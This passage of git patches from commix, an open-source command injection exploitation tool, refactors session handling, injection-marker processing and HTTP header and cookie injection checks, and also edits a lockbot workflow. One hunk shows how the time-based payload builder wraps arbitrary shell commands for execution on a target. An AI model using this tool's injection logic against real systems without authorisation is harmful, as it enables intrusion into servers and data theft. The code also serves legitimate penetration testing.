0489/1023] Fixes https://github.com/commixproject/commix/issues/953 --- src/core/injections/controller/checks.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 511ddf0baa..6c76fe763a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -36,6 +36,7 @@ from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from socket import error as SocketError +from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters diff --git a/src/utils/settings.py b/src/utils/settings.py index 4a186098d9..bebf834d78 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "91" +REVISION = "92" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0fd9c1da31d450854a3ad72add5ba333a7bd58d9 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos <5289251+stasinopoulos@users.noreply.github.com> Date: Fri, 30 Aug 2024 07:25:43 +0300 Subject: [PATCH 0490/1023] Update lockbot.yml --- .github/workflows/lockbot.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml index 8145a665f8..d2b9092a5a 100644 --- a/.github/workflows/lockbot.yml +++ b/.github/workflows/lockbot.yml @@ -13,5 +13,5 @@ jobs: steps: - uses: dessant/lock-threads@v2 with: - issue-lock-inactive-days: '90' - issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' \ No newline at end of file + issue-lock-inactive-days: '30' + issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' From ff50a96fe9bdf1bdeb0d3ebb81ce7b30d087b560 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos <5289251+stasinopoulos@users.noreply.github.com> Date: Fri, 30 Aug 2024 07:47:56 +0300 Subject: [PATCH 0491/1023] Update lockbot.yml --- .github/workflows/lockbot.yml | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml index d2b9092a5a..9aba2a20a0 100644 --- a/.github/workflows/lockbot.yml +++ b/.github/workflows/lockbot.yml @@ -2,7 +2,7 @@ name: 'LockBot' on: schedule: - - cron: '0 1 * * *' + - cron: '0 0 * * *' permissions: issues: write @@ -14,4 +14,14 @@ jobs: - uses: dessant/lock-threads@v2 with: issue-lock-inactive-days: '30' - issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' + issue-lock-comment: > + This issue has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.

+ _This action has been performed automatically by a bot._ + issue-lock-reason: '' + pr-lock-inactive-days: 30 + pr-lock-comment: > + This PR has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.

+ _This action has been performed automatically by a bot._ + pr-lock-reason: '' From 0d291ee45bee9a45ffce537c30035b928f6a6d98 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Sep 2024 08:35:06 +0300 Subject: [PATCH 0492/1023] Major code refactoring regarding session handler --- doc/CHANGELOG.md | 2 + .../techniques/time_based/tb_payloads.py | 4 +- src/core/injections/controller/checks.py | 208 ++++++---- src/core/injections/controller/controller.py | 324 +++++++-------- src/core/injections/controller/handler.py | 69 ++-- src/core/injections/controller/injector.py | 10 +- src/core/injections/controller/parser.py | 1 + .../injections/controller/shell_options.py | 9 +- .../techniques/eval_based/eb_payloads.py | 2 +- .../techniques/file_based/fb_payloads.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 110 +++--- src/core/modules/shellshock/shellshock.py | 3 - src/core/requests/authentication.py | 8 +- src/core/requests/headers.py | 26 +- src/core/requests/parameters.py | 168 +++++--- src/core/requests/requests.py | 169 ++++---- src/core/shells/bind_tcp.py | 12 +- src/core/shells/reverse_tcp.py | 12 +- src/core/tamper/rev.py | 8 +- src/utils/common.py | 7 + src/utils/logs.py | 9 +- src/utils/menu.py | 3 +- src/utils/session_handler.py | 373 ++++++++---------- src/utils/settings.py | 40 +- src/utils/version.py | 3 +- 26 files changed, 821 insertions(+), 763 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a28aaeefbf..79b2ba9751 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.0 (TBA) +* Revised: Major code refactoring regarding session handler. +* Revised: Minor improvement regarding options `--prefix`, `--suffix`. * Revised: Improvement regarding writing text to the stdout (console) stream. * Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. * Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1c1cb5926d..6856079054 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -182,7 +182,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + @@ -317,7 +317,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6c76fe763a..6c381c444e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -83,9 +83,10 @@ def check_waf(url, http_request_method): payload = settings.PARAMETER_DELIMITER + payload url = url + payload if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) + request = _urllib.request.Request(remove_tags(url), remove_tags(settings.USER_DEFINED_POST_DATA).encode(), method=http_request_method) else: - request = _urllib.request.Request(url, method=http_request_method) + request = _urllib.request.Request(remove_tags(url), method=http_request_method) + headers.do_check(request) return request, url """ @@ -135,6 +136,7 @@ def process_non_custom(): message += " Do you want to process them too? [Y/n] > " process = common.read_input(message, default="Y", check_batch=True) if process in settings.CHOICE_YES: + settings.CUSTOM_INJECTION_MARKER = False settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_NO: @@ -147,6 +149,24 @@ def process_non_custom(): common.invalid_option(process) pass +""" +Process the defined injectable value +""" +def process_injectable_value(payload, data): + _ = data.replace(settings.TESTABLE_VALUE, settings.RANDOM_TAG) + if settings.TESTABLE_VALUE in _.replace(settings.INJECT_TAG, ""): + return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + else: + return _.replace(settings.RANDOM_TAG + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + +""" +Remove all injection tags from provided data +""" +def remove_tags(data): + if not data: + data = "" + return data.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "") + """ Process data with custom injection marker character ('*'). """ @@ -156,12 +176,12 @@ def process_custom_injection_data(data): for data in data.split("\\n"): if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: if menu.options.test_parameter != None and settings.CUSTOM_INJECTION_MARKER == False: - data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") - elif settings.CUSTOM_INJECTION_MARKER: - data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) + data = remove_tags(data) + # elif settings.CUSTOM_INJECTION_MARKER: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - + return data """ @@ -169,11 +189,11 @@ def process_custom_injection_data(data): """ def custom_injection_marker_character(url, http_request_method): _ = settings.CUSTOM_INJECTION_MARKER = False + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] + if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True - # if menu.options.data: - # settings.IGNORE_USER_DEFINED_POST_DATA = True if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True @@ -181,13 +201,13 @@ def custom_injection_marker_character(url, http_request_method): option = "option '--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True - elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + if menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True - elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + if menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True - elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + if menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True - elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: settings.CUSTOM_INJECTION_MARKER = True else: @@ -209,7 +229,8 @@ def custom_injection_marker_character(url, http_request_method): common.invalid_option(procced_option) pass - +""" +""" def skipping_technique(technique, injection_type, state): if settings.VERBOSITY_LEVEL != 0 and state != True: debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " @@ -219,28 +240,27 @@ def skipping_technique(technique, injection_type, state): Skipping of further tests. """ def keep_testing_others(filename, url): - if settings.SKIP_COMMAND_INJECTIONS: - while True: - message = "Do you want to keep testing the others? [y/N] > " - procced_option = common.read_input(message, default="N", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - return - elif procced_option in settings.CHOICE_NO: - quit(filename, url, _ = False) - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + if not settings.LOAD_SESSION: + if settings.SKIP_COMMAND_INJECTIONS: + while True: + message = "Do you want to keep testing the others? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + quit(filename, url, _ = False) + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass """ Skipping of further command injection tests. """ def skip_testing(filename, url): - if len(menu.options.tech) == 1: - settings.SKIP_COMMAND_INJECTIONS = True - else: + if not settings.LOAD_SESSION: if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: _ = " testing command injection techniques" else: @@ -252,6 +272,7 @@ def skip_testing(filename, url): procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True + settings.LOAD_SESSION = False return elif procced_option in settings.CHOICE_NO: settings.SKIP_COMMAND_INJECTIONS = False @@ -313,7 +334,12 @@ def check_http_method(url): http_request_method = settings.HTTPMETHOD.GET return http_request_method +""" +Quit +""" def quit(filename, url, _): + if settings.LOAD_SESSION: + logs.logs_notification(filename) logs.print_logs_notification(filename, url) common.show_http_error_codes() if _: @@ -329,7 +355,7 @@ def user_aborted(filename, url): abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) - quit(filename, url, _=True) + raise exit() """ Connection exceptions @@ -356,7 +382,8 @@ def not_declared_cookies(response): if settings.SET_COOKIE in response_header: _ = re.search(r'([^;]+);?', response_header[1]) if _: - set_cookie_header.append(_.group(1)) + if _.group(1).split("=")[0] not in menu.options.cookie: + set_cookie_header.append(_.group(1)) candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_header) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True @@ -402,13 +429,28 @@ def tab_autocompleter(): error_msg = "Failed while trying to use platform's readline library." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) +""" +Load commands from history. +""" +def load_cmd_history(): + try: + cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) + if os.path.exists(cli_history): + readline.read_history_file(cli_history) + except (IOError, AttributeError, UnicodeError) as e: + warn_msg = "There was a problem loading the history file '" + cli_history + "'." + if settings.IS_WINDOWS: + warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Save command history. """ def save_cmd_history(): try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) + cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) if os.path.exists(cli_history): + readline.set_history_length(settings.MAX_HISTORY_LENGTH) readline.write_history_file(cli_history) except (IOError, AttributeError) as e: warn_msg = "There was a problem writing the history file '" + cli_history + "'." @@ -454,20 +496,6 @@ def print_percentage(float_percent, no_result, shell): percent = ".. (" + str(float_percent) + "%)" return percent -""" -Load commands from history. -""" -def load_cmd_history(): - try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) - if os.path.exists(cli_history): - readline.read_history_file(cli_history) - except (IOError, AttributeError, UnicodeError) as e: - warn_msg = "There was a problem loading the history file '" + cli_history + "'." - if settings.IS_WINDOWS: - warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ Get value inside boundaries. """ @@ -745,20 +773,21 @@ def assessment_phase(): Procced to the next attack vector. """ def next_attack_vector(technique, go_back): - while True: - message = "Do you want to continue with testing the " + technique + "? [y/N] > " - next_attack_vector = common.read_input(message, default="N", check_batch=True) - if next_attack_vector in settings.CHOICE_YES: - # Check injection state - assessment_phase() - return True - elif next_attack_vector in settings.CHOICE_NO: - return False - elif next_attack_vector in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(next_attack_vector) - pass + if not settings.LOAD_SESSION: + while True: + message = "Do you want to continue with testing the " + technique + "? [y/N] > " + next_attack_vector = common.read_input(message, default="N", check_batch=True) + if next_attack_vector in settings.CHOICE_YES: + # Check injection state + assessment_phase() + return True + elif next_attack_vector in settings.CHOICE_NO: + return False + elif next_attack_vector in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_attack_vector) + pass """ Fix single / double quote escaping. @@ -789,8 +818,15 @@ def remove_empty_lines(content): Enable pseudo-terminal shell """ def enable_shell(url): - message = settings.CHECKING_PARAMETER + " is vulnerable. " - message += "Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = "" + if settings.LOAD_SESSION: + message = "Resumed " + message += settings.CHECKING_PARAMETER + if settings.LOAD_SESSION: + message += " injection point from stored session" + else: + message += " is vulnerable" + message += ". Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: @@ -1209,7 +1245,7 @@ def time_delay_recommendation(): Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): - message = "Unexpected time delays have been identified and may lead to false-positive results." + message = "Unexpected time delays that may lead to false-positive results, have been identified." settings.print_data_to_stdout(settings.END_LINE.CR) while True: message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > " @@ -1344,7 +1380,7 @@ def testable_parameters(url, check_parameters, header_name): remove_skipped_params(url, check_parameters) _ = False - if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]) == 0: + if settings.TESTABLE_PARAMETERS or [i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]: _ = True if settings.TESTABLE_PARAMETERS_LIST and isinstance(settings.TESTABLE_PARAMETERS_LIST, list): @@ -1358,7 +1394,7 @@ def testable_parameters(url, check_parameters, header_name): if non_exist_param: non_exist_param = settings.PARAMETER_SPLITTING_REGEX.join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") non_exist_param = non_exist_param.split(settings.PARAMETER_SPLITTING_REGEX) - if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ + if settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: if menu.options.cookie != None: if settings.COOKIE_DELIMITER in menu.options.cookie: @@ -1378,6 +1414,7 @@ def testable_parameters(url, check_parameters, header_name): # Remove the defined HTTP headers for http_header in settings.HTTP_HEADERS: if http_header in non_exist_param: + settings.TESTABLE_PARAMETERS = True non_exist_param.remove(http_header) if settings.VERBOSITY_LEVEL != 0 and non_exist_param and _: @@ -1897,6 +1934,17 @@ def json_data(data): data = json.dumps(data) return data +""" +"No parameter(s) found for testing. +""" +def no_parameters_found(): + err_msg = "No parameter(s) found for testing in the provided data " + err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). " + if not menu.options.crawldepth: + err_msg += "You are advised to rerun with '--crawl=2'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Check if the provided value is empty. """ @@ -1928,13 +1976,11 @@ def is_empty(multi_parameters, http_request_method): elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) except IndexError: - if not settings.IS_XML and not settings.IS_JSON: - err_msg = "No parameter(s) found for testing in the provided data." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + pass if len(empty_parameters) == len(multi_parameters): all_empty = True + if menu.options.skip_empty: settings.SKIP_PARAMETER = empty_parameters @@ -2006,16 +2052,6 @@ def process_data(data_type, http_request_method): common.invalid_option(process) pass -""" -Check if provided parameters are in inappropriate format. -""" -def inappropriate_format(multi_parameters): - err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1] - err_msg += (' are ', ' is ')[len(multi_parameters) == 1] - err_msg += "not in appropriate format." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check for similarity in provided parameter name and value. """ @@ -2046,7 +2082,8 @@ def check_similarities(all_params): else: if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): parameter_name = ''.join(re.findall(r'=(.*)', all_params[param])) - all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG + if parameter_name: + all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]: parameter_name = ''.join(re.findall(r'(.*)=', all_params[param])) parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) @@ -2699,6 +2736,15 @@ def file_upload(): common.invalid_option(enable_HTTP_server) pass +def define_vulnerable_http_header(http_header_name): + if http_header_name == settings.USER_AGENT.lower(): + settings.USER_AGENT_INJECTION = True + elif http_header_name == settings.REFERER.lower(): + settings.REFERER_INJECTION = True + elif http_header_name == settings.HOST.lower(): + settings.HOST_INJECTION = True + return http_header_name + """ Check for wrong flags """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c4bb2ad3ea..0701ea9be0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -41,7 +41,6 @@ """ def basic_level_checks(): - settings.LOAD_SESSION = None settings.TIME_RELATIVE_ATTACK = False settings.SKIP_CODE_INJECTIONS = None settings.SKIP_COMMAND_INJECTIONS = None @@ -50,28 +49,29 @@ def basic_level_checks(): settings.IDENTIFIED_PHPINFO = False """ -Check for previously stored sessions. +Initializing HTTP Headers parameters injection status """ -def check_for_stored_sessions(url, http_request_method): - if not menu.options.ignore_session: - if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - if session_handler.applied_techniques(url, http_request_method): - settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) - # menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES - if session_handler.check_stored_parameter(url, http_request_method): - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - settings.LOAD_SESSION = True - return True +def init_http_header_injection_status(): + settings.HTTP_HEADERS_INJECTION = None + settings.USER_AGENT_INJECTION = None + settings.REFERER_INJECTION = None + settings.HOST_INJECTION = None """ -Check for previously stored injection level. +Initializing Cookie parameters injection status """ -def check_for_stored_levels(url, http_request_method): - if not menu.options.ignore_session: - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: - menu.options.level = session_handler.applied_levels(url, http_request_method) - if type(menu.options.level) is not int : - menu.options.level = settings.DEFAULT_INJECTION_LEVEL +def init_cookie_injection_status(): + settings.COOKIE_INJECTION = None + +""" +Check for previously stored sessions. +""" +def check_for_stored_sessions(url, check_parameter, http_request_method): + if not menu.options.ignore_session and not menu.options.flush_session: + if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: + if settings.LOAD_SESSION == None: + url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) + return url, check_parameter """ Heuristic request(s) @@ -80,32 +80,54 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites data = None cookie = None tmp_url = url - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") + payload, prefix = parameters.prefixes(payload, prefix="") + payload, suffix = parameters.suffixes(payload, suffix="") payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + cookie = checks.process_injectable_value(payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) + # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): + # cookie = menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) + # else: + # cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) + + if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + data = checks.process_injectable_value(payload, menu.options.data).encode(settings.DEFAULT_CODEC) + # if settings.TESTABLE_VALUE in menu.options.data.replace(settings.INJECT_TAG, ""): + # data = menu.options.data.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) + # else: + # data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + if settings.INJECT_TAG in url: + tmp_url = checks.process_injectable_value(payload, url) + # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): + # tmp_url = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + else: + tmp_url = checks.remove_tags(tmp_url) + url = checks.remove_tags(url) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE: + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(settings.CUSTOM_HEADER_NAME, payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) - return response + return response, url """ Heuristic (basic) tests for command injection @@ -120,11 +142,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, try: checks.perform_payload_modification(payload="") for whitespace in settings.WHITESPACES: - if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: + if not settings.IDENTIFIED_COMMAND_INJECTION: _ = 0 for payload in basic_payloads: _ = _ + 1 - response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) @@ -159,9 +181,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.EVAL_BASED_STATE = True try: whitespace = settings.SINGLE_WHITESPACE - if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO): for payload in settings.PHPINFO_CHECK_PAYLOADS: - response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) @@ -259,17 +281,20 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Check parameter in HTTP header. """ def check_parameter_in_http_header(check_parameter): - inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower(): if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: inject_http_headers = True + else: + inject_http_headers = False + init_http_header_injection_status() return inject_http_headers """ Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.NOT_TESTABLE_PARAMETERS = False for i in range(0,int(settings.OS_CHECKS_NUM)): if settings.CHECK_BOTH_OS: if i == 0: @@ -279,15 +304,20 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: checks.keep_testing_others(filename, url) + if not settings.LOAD_SESSION: + settings.LOAD_SESSION = None basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) + if inject_http_headers: + checks.define_vulnerable_http_header(check_parameter) + # User-Agent/Referer/Host/Custom HTTP header Injection(s) - if check_parameter.startswith(settings.SINGLE_WHITESPACE): + if any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): header_name = "" - the_type = "HTTP header" - inject_parameter = " '" + check_parameter.strip() + "'" + the_type = "HTTP Header" + inject_parameter = " parameter '" + check_parameter + "'" else: if settings.COOKIE_INJECTION: header_name = settings.COOKIE @@ -304,7 +334,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # 